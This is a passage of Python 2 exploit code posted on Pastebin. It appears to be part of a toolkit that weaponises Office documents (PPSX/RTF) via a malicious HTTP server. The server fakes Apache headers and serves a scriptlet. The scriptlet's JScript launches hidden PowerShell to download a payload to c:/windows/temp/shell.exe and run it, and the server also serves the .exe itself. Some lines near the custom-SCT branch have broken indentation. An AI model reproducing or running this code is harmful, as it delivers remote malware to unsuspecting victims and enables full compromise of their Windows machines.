  451.                 data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 17:47:14 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nAllow: OPTIONS,HEAD,GET\r\nContent-Length: 0\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: text/html"
  452.                 conn.send(data)
  453.                 conn.close()
  454.             if method in ['HEAD', 'head']:
  455.                 print "Received HEAD method from "+client_addr[0]
  456.                 data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 17:11:03 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 17:30:47 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: 315\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/doc\r\n\r\n"
  457.                 conn.send(data)
  458.                 conn.close()
  459.                 sys.exit(1)
  460.     except socket.error, ex:
  461.         print ex
  462.  
  463.  
  464. def exploitation_ppsx():
  465.  
  466.     print "Server Running on ",host,":",port
  467.  
  468.     try:
  469.         # create a socket
  470.         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  471.  
  472.         # associate the socket to host and port
  473.         s.bind((host, port))
  474.  
  475.         # listenning
  476.         s.listen(BACKLOG)
  477.    
  478.     except socket.error, (value, message):
  479.         if s:
  480.             s.close()
  481.         print "Could not open socket:", message
  482.         sys.exit(1)
  483.  
  484.     # get the connection from client
  485.     while 1:
  486.         conn, client_addr = s.accept()
  487.  
  488.         # create a thread to handle request
  489.         thread.start_new_thread(server_thread, (conn, client_addr))
  490.        
  491.     s.close()
  492.  
  493. def server_thread(conn, client_addr):
  494.  
  495.     # get the request from browser
  496.     try:
  497.         request = conn.recv(MAX_DATA_RECV)
  498.         if (len(request) > 0):
  499.             # parse the first line
  500.             first_line = request.split('\n')[0]
  501.            
  502.             # get method
  503.             method = first_line.split(' ')[0]
  504.             # get url
  505.             try:
  506.                 url = first_line.split(' ')[1]
  507.             except IndexError:
  508.                 print "Invalid request from "+client_addr[0]
  509.                 conn.close()
  510.                 sys.exit(1)
  511.         # check if custom SCT flag is set
  512.         if (len(custom)>1):
  513.                 print "Received request for custom SCT from "+client_addr[0]
  514.                 try:
  515.                     size = os.path.getsize(custom)
  516.                 except OSError:
  517.                     print "Unable to read custom SCT file - "+custom
  518.                     conn.close()
  519.                     sys.exit(1)
  520.                 data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 18:56:41 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 16:56:22 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: "+str(size)+"\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: text/scriptlet\r\n\r\n"
  521.                 with open(custom) as fin:
  522.                     data +=fin.read()
  523.                     conn.send(data)
  524.                     conn.close()
  525.                     sys.exit(1)
  526.         conn.close()
  527.         sys.exit(1)
  528.             check_exe_request = url.find('.exe')
  529.             if (check_exe_request > 0):
  530.                 print "Received request for payload from "+client_addr[0]
  531.                 try:
  532.                     size = os.path.getsize(payloadlocation)
  533.                 except OSError:
  534.                     print "Unable to read"+payloadlocation
  535.                     conn.close()
  536.                     sys.exit(1)
  537.                 data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 18:56:41 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 16:56:22 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: "+str(size)+"\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/x-msdos-program\r\n\r\n"
  538.                 with open(payloadlocation) as fin:
  539.                     data +=fin.read()
  540.                     conn.send(data)
  541.                     conn.close()
  542.                     sys.exit(1)
  543.             if method in ['GET', 'get']:
  544.                 print "Received GET method from "+client_addr[0]
  545.                 data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 17:11:03 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 17:30:47 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: 1000\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: text/scriptlet\r\n\r\n<?XML version=\"1.0\"?>\r\n<package>\r\n<component id='giffile'>\r\n<registration\r\n  description='Dummy'\r\n  progid='giffile'\r\n  version='1.00'\r\n  remotable='True'>\r\n</registration>\r\n<script language='JScript'>\r\n<![CDATA[\r\n  new ActiveXObject('WScript.shell').exec('%SystemRoot%/system32/WindowsPowerShell/v1.0/powershell.exe -windowstyle hidden (new-object System.Net.WebClient).DownloadFile(\\'"+payloadurl+"\\', \\'c:/windows/temp/shell.exe\\'); c:/windows/temp/shell.exe');\r\n]]>\r\n</script>\r\n</component>\r\n</package>\r\n"
  546.                 conn.send(data)
  547.                 conn.close()
  548.                 sys.exit(1)
  549.     except socket.error, ex:
  550.         print ex
  551.  
  552.  
  553. if __name__ == '__main__':
  554.     main(sys.argv[1:])
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!